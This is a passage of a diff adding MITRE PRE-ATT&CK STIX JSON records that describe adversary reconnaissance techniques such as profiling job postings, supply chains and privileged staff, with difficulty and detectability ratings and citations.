"attack-pattern--5b6ce031-bb86-407a-9984-2b9700ac4549", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Made easier by today's current social media.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1272", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1272" + }, + { + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017.", + "source_name": "RSA-APTRecon" + }, + { + "description": "Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017.", + "source_name": "Scasny2015" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1060", + "x_mitre_detectable_by_common_defenses_explanation": "Exception to the rule is if the adversary tips off the target that others have been asking about the relationship with them.", + "name": "Identify business relationships", + "description": "Business relationship information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: 11StepsAttackers)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-information-gathering" + } + ], + "id": "attack-pattern--73e7d7d5-1782-4cd0-a4d7-00c7ec051c2a", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Requires an intensive process. In some industries, business relationships may be public in order to generate business, but this is not the case for all industries and all relationships.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1283", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1283" + }, + { + "description": "Thor Olavsrud. (2014, September 2). 11 Steps Attackers Took to Crack Target. Retrieved March 5, 2017.", + "source_name": "11StepsAttackers" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1002", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "name": "Identify gap areas", + "description": "Leadership identifies gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: ODNIIntegration) (Citation: ICD115)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-planning" + } + ], + "id": "attack-pattern--d778cb83-2292-4995-b006-d38f52bc1e64", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1225", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1225" + }, + { + "description": "Office of the Director of National Intelligence. (n.d.). Intelligence Integration - Who Are We. Retrieved March 2, 2017.", + "source_name": "ODNIIntegration" + }, + { + "description": "Office of the Director of National Intelligence. (2012, December 21). ICD 115: Intelligence Community Capability Requirements Process. Retrieved March 2, 2017.", + "source_name": "ICD115" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1047", + "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.", + "name": "Identify groups/roles", + "description": "Personnel internally to a company may belong to a group or maintain a role with electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is a system administrator. (Citation: RSA-APTRecon)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-information-gathering" + } + ], + "id": "attack-pattern--89a79d91-53e0-4ef5-ba28-558cb8b01f76", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "No", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Requires an adversary to undergo an intensive research process. It is resource intensive or requires special data access. May be easier for certain specialty use cases.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1270", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1270" + }, + { + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017.", + "source_name": "RSA-APTRecon" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1025", + "x_mitre_detectable_by_common_defenses_explanation": "Impossible to differentiate between an adversary and a normal user when accessing open/public information.", + "name": "Identify job postings and needs/gaps", + "description": "Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on technologies within the organization which could be valuable in attack or provide insight in to possible security weaknesses or limitations in detection or protection mechanisms. (Citation: JobPostingThreat)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "id": "attack-pattern--c721b235-679a-4d76-9ae9-e08921fccf84", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Publicly posted information by design. Providing too much detail in the job posting could aid the adversary in learning more about the target's environment and possible technical weaknesses/deficiencies.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1248", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1248" + }, + { + "description": "Jay D. Krasnow. (2000, October). The Competitive Intelligence and National Security Threat from Website Job Listings. Retrieved March 16, 2017.", + "source_name": "JobPostingThreat" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1055", + "x_mitre_detectable_by_common_defenses_explanation": "Public source external to the defender's organization.", + "name": "Identify job postings and needs/gaps", + "description": "Job postings, on either company sites, or in other forums, provide information on organizational structure, needs, and gaps in an organization. This may give an adversary an indication of weakness in an organization (such as under-resourced IT shop). Job postings can also provide information on an organizations structure which could be valuable in social engineering attempts. (Citation: JobPostingThreat) (Citation: RSA-APTRecon)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-information-gathering" + } + ], + "id": "attack-pattern--7718e92f-b011-4f88-b822-ae245a1de407", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Very public by design.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1278", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1278" + }, + { + "description": "Jay D. Krasnow. (2000, October). The Competitive Intelligence and National Security Threat from Website Job Listings. Retrieved March 16, 2017.", + "source_name": "JobPostingThreat" + }, + { + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017.", + "source_name": "RSA-APTRecon" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1044", + "x_mitre_detectable_by_common_defenses_explanation": "Public source external to the defender's organization.", + "name": "Identify job postings and needs/gaps", + "description": "Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on people within the organization which could be valuable in social engineering attempts. (Citation: JobPostingThreat)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-information-gathering" + } + ], + "id": "attack-pattern--0722cd65-0c83-4c89-9502-539198467ab1", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Very public by design.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1267", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1267" + }, + { + "description": "Jay D. Krasnow. (2000, October). The Competitive Intelligence and National Security Threat from Website Job Listings. Retrieved March 16, 2017.", + "source_name": "JobPostingThreat" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1046", + "x_mitre_detectable_by_common_defenses_explanation": "Common defenses protecting against poor OPSEC practices are traditionally more policy-based in nature rather than technical. Policy-based mitigations are generally more difficult to enforce and track violations, making it more difficult that this technique can be detected by common defenses.", + "name": "Identify people of interest", + "description": "The attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization. Such targets may include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target. (Citation: RSA-APTRecon) (Citation: Scasny2015)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-information-gathering" + } + ], + "id": "attack-pattern--0c0f075b-5d69-43f2-90df-d9ad18f44624", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Specialty cases enable an adversary to use key words in order to search social media and identify personnel with poor OPSEC practices who may have access to specialized information which would make them a target of interest. In addition, the open nature of social media leads to a tendency among individuals to overshare, encouraging poor OPSEC and increasing the ease by which an adversary can identify interesting targets.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1269", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1269" + }, + { + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017.", + "source_name": "RSA-APTRecon" + }, + { + "description": "Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017.", + "source_name": "Scasny2015" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1048", + "x_mitre_detectable_by_common_defenses_explanation": "The layers of data required and potential gaps of information to map a specific person to an authority or privilege on a network requires access to resources that may not tip off a defender.", + "name": "Identify personnel with an authority/privilege", + "description": "Personnel internally to a company may have non-electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is an individual with financial authority to authorize large transactions. An adversary who compromises this individual might be able to subvert large dollar transfers. (Citation: RSA-APTRecon)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-information-gathering" + } + ], + "id": "attack-pattern--762771c2-3675-4535-88e9-b1f891758974", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "No", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Requires an adversary to undergo an intensive research process. It is resource intensive or requires special data access. May be easier for certain specialty use cases.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1271", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1271" + }, + { + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017.", + "source_name": "RSA-APTRecon" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1125", + "x_mitre_detectable_by_common_defenses_explanation": "Recruitment is, by its nature, either clandestine or off the record.", + "name": "Identify resources required to build capabilities", + "description": "As with legitimate development efforts, different skill sets may be required for different phases of an attack. The skills needed may be located in house, can be developed, or may need to be contracted out. (Citation: APT1)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "build-capabilities" + } + ], + "id": "attack-pattern--c9fb4451-729d-4771-b205-52c1829f949c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Like target organizations, adversary organizations are competing to identify and hire top technical talent. Training less technical staff is also a viable option.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1348", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1348" + }, + { + "description": "Mandiant. (n.d.). APT1: Exposing One of China\u2019s Cyber Espionage Units. Retrieved March 5, 2017.", + "source_name": "APT1" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1040", + "x_mitre_detectable_by_common_defenses_explanation": "Technically, the defender has the ability to detect. However, this is typically not performed as this type of traffic would likely not prompt the defender to take any actionable defense. In addition, this would require the defender to closely review their access logs for any suspicious activity (if the activity is even logged).", + "name": "Identify security defensive capabilities", + "description": "Security defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses. (Citation: OSFingerprinting2014) (Citation: NMAP WAF NSE)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "id": "attack-pattern--04e93ca1-8415-4a46-8549-73b7c84f8dc3", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "No", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "The adversary will have some insight into defenses based on dropped traffic or filtered responses. It is more difficult to pinpoint which defenses are implemented (e.g., [https://www.fireeye.com FireEye] WMPS, [https://www.hpe.com Hewlett Packard Enterprise] Tipping Point IPS).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1263", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1263" + }, + { + "description": "InfoSec Institute. (2014, June 19). What You Must Know About OS Fingerprinting. Retrieved March 1, 2017.", + "source_name": "OSFingerprinting2014" + }, + { + "description": "Paulino Calderon. (n.d.). http-waf-detect. Retrieved April 2, 2017.", + "source_name": "NMAP WAF NSE" + } + ], + "x_mitre_detectable_by_common_defenses": "Yes" + }, + { + "x_mitre_old_attack_id": "PRE-T1051", + "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.", + "name": "Identify sensitive personnel information", + "description": "An adversary may identify sensitive personnel information not typically posted on a social media site, such as address, marital status, financial history, and law enforcement infractions. This could be conducted by searching public records that are frequently available for free or at a low cost online. (Citation: RSA-APTRecon)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-information-gathering" + } + ], + "id": "attack-pattern--7dae871c-effc-444b-9962-4b7efefe7d40", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "This type of information is useful to understand the individual and their ability to be blackmailed. Searching public records is easy and most information can be purchased for a low cost if the adversary really wants it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1274", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1274" + }, + { + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017.", + "source_name": "RSA-APTRecon" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1053", + "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.", + "name": "Identify supply chains", + "description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit organizational relationships. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-information-gathering" + } + ], + "id": "attack-pattern--7860e21e-7514-4a3f-8a9d-56405ccfdb0c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "No", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Requires an intensive process. May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1276", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1276" + }, + { + "description": "Drew Smith. (2015). Is your supply chain safe from cyberattacks?. Retrieved March 5, 2017.", + "source_name": "SmithSupplyChain" + }, + { + "description": "CERT-UK. (2016, October 01). Cyber-security risks in the supply chain. Retrieved March 5, 2017.", + "source_name": "CERT-UKSupplyChain" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1023", + "x_mitre_detectable_by_common_defenses_explanation": "Difficult, if not impossible to detect, because the adversary may collect this information from external sources that cannot be monitored by a defender.", + "name": "Identify supply chains", + "description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the technology or interconnections that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain) (Citation: RSA-supply-chain)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "id": "attack-pattern--78e41091-d10d-4001-b202-89612892b6ff", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "No", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Supply chain diversity of sourcing increases adversary difficulty with accurate mapping. Industry practice has moved towards agile sourcing.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1246", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1246" + }, + { + "description": "Drew Smith. (2015). Is your supply chain safe from cyberattacks?. Retrieved March 5, 2017.", + "source_name": "SmithSupplyChain" + }, + { + "description": "CERT-UK. (2016, October 01). Cyber-security risks in the supply chain. Retrieved March 5, 2017.", + "source_name": "CERT-UKSupplyChain" + }, + { + "description": "RSA Research. (2017, February). KINGSLAYER \u2013 A SUPPLY CHAIN ATTACK. Retrieved May 9, 2017.", + "source_name": "RSA-supply-chain" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1042", + "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.", + "name": "Identify supply chains", + "description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-information-gathering" + } + ], + "id": "attack-pattern--59369f72-3005-4e54-9095-3d00efcece73", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "No", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Requires an intensive process to obtain the full picture. It is possible to obtain basic information/some aspects via OSINT. May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1265", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1265" + }, + { + "description": "Drew Smith. (2015). Is your supply chain safe from cyberattacks?. Retrieved March 5, 2017.", + "source_name": "SmithSupplyChain" + }, + { + "description": "CERT-UK. (2016, October 01). Cyber-security risks in the supply chain. Retrieved March 5, 2017.", + "source_name": "CERT-UKSupplyChain" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1041", + "x_mitre_detectable_by_common_defenses_explanation": "Physical observations, OSINT for remote access instructions, and other techniques are not detectable.", + "name": "Identify technology usage patterns", + "description": "Technology usage patterns include identifying if users work offsite, connect remotely, or other possibly less restricted/secured access techniques. (Citation: SANSRemoteAccess)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "id": "attack-pattern--194bff4f-c218-40df-bea3-1ace715de8dd", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Determine if users work offsite, connect remotely, or other possibly less restricted/secured access techniques.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1264", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1264" + }, + { + "description": "Jason Ragland. (2010, January 18). Remotely Accessing Sensitive Resources. Retrieved March 5, 2017.", + "source_name": "SANSRemoteAccess" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1166", + "x_mitre_detectable_by_common_defenses_explanation": "Open source software has great appeal mostly due to the time savings and that it is free. However, using this code without assessing it's security is akin to blindly executing third party software. Companies often do not dedicate the time to appropriately detect and scan for vulnerabilities. The mainstream mobile application stores scan applications for some known vulnerabilities. For example, Google's Android Application Security Improvement Program identifies and alerts developers to vulnerabilities present in their applications from use of the Vungle, Apache Cordova, WebView SSL, GnuTLS, and Vitamio third-party libraries. However, these scans are not likely to cover all vulnerable libraries, developers may not always act on the results, and the results may not be made available to impacted end users of the applications.", + "name": "Identify vulnerabilities in third-party software libraries", + "description": "Many applications use third-party software libraries, often without full knowledge of the behavior of the libraries by the application developer. For example, mobile applications often incorporate advertising libraries to generate revenue for the application developer. Vulnerabilities in these third-party libraries could potentially be exploited in any application that uses the library, and even if the vulnerabilities are fixed, many applications may still use older, vulnerable versions of the library. (Citation: Flexera News Vulnerabilities) (Citation: Android Security Review 2015) (Citation: Android Multidex RCE)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-weakness-identification" + } + ], + "id": "attack-pattern--ad124f84-52d2-40e3-95dd-cfdd44eae6ef", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Developers commonly use open source libraries such that where an adversary can easily discover known vulnerabilities and create exploits. It is also generally easy to decompile arbitrary mobile applications to determine what libraries they use, and similarly use this information to correlate against known CVEs and exploit packages.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1389", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1389" + }, + { + "description": "John Lipsey. (2015, March 25). 15,435 Vulnerabilities in Close to 4,000 Applications in 2014. Retrieved April 12, 2017.", + "source_name": "Flexera News Vulnerabilities" + }, + { + "description": "Google. (2016, April). Android Security 2015 Year In Review. Retrieved April 12, 2017.", + "source_name": "Android Security Review 2015" + }, + { + "description": "Ryan Welton. (2015, June 15). A Pattern for Remote Code Execution using Arbitrary File Writes and MultiDex Applications. Retrieved April 12, 2017.", + "source_name": "Android Multidex RCE" + } + ], + "x_mitre_detectable_by_common_defenses": "Partial" + }, + { + "x_mitre_old_attack_id": "PRE-T1033", + "x_mitre_detectable_by_common_defenses_explanation": "Active service detection may trigger an alert. Passive service enumeration is not detected.", + "name": "Identify web defensive services", + "description": "An adversary can attempt to identify web defensive services as [CloudFlare](https://www.cloudflare.com), [IPBan](https://github.com/jjxtra/Windows-IP-Ban-Service), and [Snort](https://www.snort.org). This may be done by passively detecting services, like [CloudFlare](https://www.cloudflare.com) routing, or actively, such as by purposefully tripping security defenses. (Citation: NMAP WAF NSE)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "id": "attack-pattern--288b3cc3-f4da-4250-ab8c-d8b5dbed94ca", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Adversary can passively detect services (e.g., [https://www.cloudflare.com/ CloudFlare] routing) or actively detect services (e.g., by purposefully tripping security defenses)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1256", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1256" + }, + { + "description": "Paulino Calderon. (n.d.). http-waf-detect. Retrieved April 2, 2017.", + "source_name": "NMAP WAF NSE" + } + ], + "x_mitre_detectable_by_common_defenses": "Yes" + }, + { + "x_mitre_old_attack_id": "PRE-T1113", + "x_mitre_detectable_by_common_defenses_explanation": "Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.", + "name": "Install and configure hardware, network, and systems", + "description": "An adversary needs the necessary skills to set up procured equipment and software to create their desired infrastructure. (Citation: KasperskyRedOctober)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "id": "attack-pattern--73e394e5-3d8a-40d1-ab8c-a1b4ea9db424", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Skills are common to majority of computer scientists and \"hackers\". Can be easily obtained through contracting if not organic to adversary's organization.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1336", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1336" + }, + { + "description": "Kaspersky Labs. (2013, January 14). Kaspersky Lab Identifies Operation \u201cRed October,\u201d an Advanced Cyber-Espionage Campaign Targeting Diplomatic and Government Institutions Worldwide. Retrieved March 6, 2017.", + "source_name": "KasperskyRedOctober" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1152", + 